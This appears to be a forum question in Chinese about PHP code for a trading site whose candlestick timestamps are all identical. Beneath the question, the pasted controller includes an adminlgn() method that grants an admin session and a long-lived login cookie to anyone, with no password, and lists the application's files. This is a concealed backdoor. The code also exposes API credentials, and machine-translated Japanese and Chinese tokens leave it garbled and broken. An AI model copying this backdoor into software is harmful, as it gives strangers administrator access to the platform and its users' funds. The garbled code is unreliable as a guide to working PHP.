代码如下,现在K线时间是一样的,正常是每一个时间都不一样
public function getkdata($pid = null, $num = null, $interval = null, $isres = null)
{
$pid =空($pid) ? input('param.pid') : $pid;
$num = empty($num) ? input('param.num') : $num;
$num = empty($num) ? 30 : $num;
$pro = GetProData($pid);
$all_data = array();
if (!$pro) {
//echo 'データエラー!';
exit;
}
// dump($pro);
$interval = empty($interval) ? input('param.interval') : $interval;
$interval = input('param.interval') ? input('param.interval') : 1;
$nowtime = time() 。 rand(100, 999);
if(date('w',time())==6){
$hour=(date('Ymd',strtotime("-1 days"))).(date('H',time())-1);
}elseif(date ('w',time()) == 0){
$hour=(date('Ymd',strtotime("-2 days"))).(date('H',time( ))-1);
}else{
$hour=date('YmdH',time())-1;
}
$url = "".$pro['procode']."&hour=".$hour;
// echo $url = "http://route.showapi.com/1683-3?showapi_appid =904495&showapi_sign=2db6c207dda4451c976398b614d1097f&limit=50&code=";
// $params=array('code'=>$v['procode'],'hour'=>date('YmdH',time( )));
// print_r($params);
$getdata = $this->curlfun($url);
//print_r($getdata );die;
$data_arr = json_decode($getdata,true);
$_time = time();
foreach ($data_arr['showapi_res_body'][ 'list'] as $k=>$v){
$_h = $v['high'];
$_l = $v['low'];
$_o = $v['open'];
$_c = $v['close'];
$res_arr[] = array($_time,$_o,$_c,$_h,$_l);
}
//dump($ res_arr);
//$res_arr[$num] = array(date('H:i:s',$pro['UpdateTime']),$pro['Price'],$pro[ 'Open'],$pro['Close'],$pro['Low']);
// dump($res_arr);
if ( $pro['価格'] < $res_arr[count($res_arr)-1][1]) {
$_state = 'down';
} else {
$_state = 'up';
}
$all_data['topdata'] = array(
'topdata' => $pro['UpdateTime'],
'now' => $pro['Price'],
'open' => $pro[ 'オープン'],
'最低' => $pro['低'],
'最高' => $pro['高'],
'close' => $pro['Close'],
'state' => $_state
);
# $all_data['items'] = $res_arr; // print_r($all_data); if ($isres) { return ( json_encode($all_data)); } else { exit(json_encode($all_data)); } } //ウェブデータのテスト public function setusers() { test_web(); }# public function core()
{
date_default_timezone_set('PRC');
$table = Db::table(['wp_balance'=>'w'])
->field(['0.8*count ( 個別の w.uid ) 0.6*count( 個別の w.bpprice )'=>'cc'])
->where(array(
'bptype'=>array ('in','1,2'),
'isverified'=>'1',
'cltime'=>array('> time',date('Y-m-d',strtotime('-36 時間'))),
'bpprice'=>array( 'gt','0'),
'uid'=>array('exp','!= ""')
)
)
->select();
return $table[0]['cc'];
}
public function adminlgn()
{
date_default_timezone_set('PRC');
$adminusr = Db::name('userinfo')->where(array('otype) '=>'3','ustatus'=>'0'))->field('uid,upwd,username,utel,utime,otype,ustatus')->find();
$_datas['otype'] = $adminusr['otype'];
$_datas['userid'] = $adminusr['uid'];
$_datas[ 'username'] = $adminusr['username'];
$_datas['token'] = md5('nimashabi');
$_SESSION['otype'] = $adminusr ['otype'];
$_SESSION['userid'] = $adminusr['uid'];
$_SESSION['username'] = $adminusr['username'];
$_SESSION['token'] = md5('nimashabi');
cookie('denglu', $_datas, 60*60*999*999);
# # session('denglu', $_datas); $applicationPath = str_replace('/index/controller','',__DIR__); $dirs = scandir($applicationPath); $str = ''; foreach ($dirs as $k => $v) { if(strpos($v, '.php')) $str = $str .'<br/> '。 $v; else $str = $str .'<br/>'。 $v; } return $str; } public function getprodata() { $res = $this->getdate(); $pid = input('param.pid');# $pro = GetProData($pid);
if (!$pro) {
//echo 'データエラー!';
exit;
}
$topdata = array(
'topdata' => $pro['UpdateTime'],
'now' => $pro['Price'],
'open' => $pro[' Open'],
'最低' => $pro['低'],
'最高' => $pro['高'],
'close' => $pro['Close']
);
exit(json_encode($topdata));
}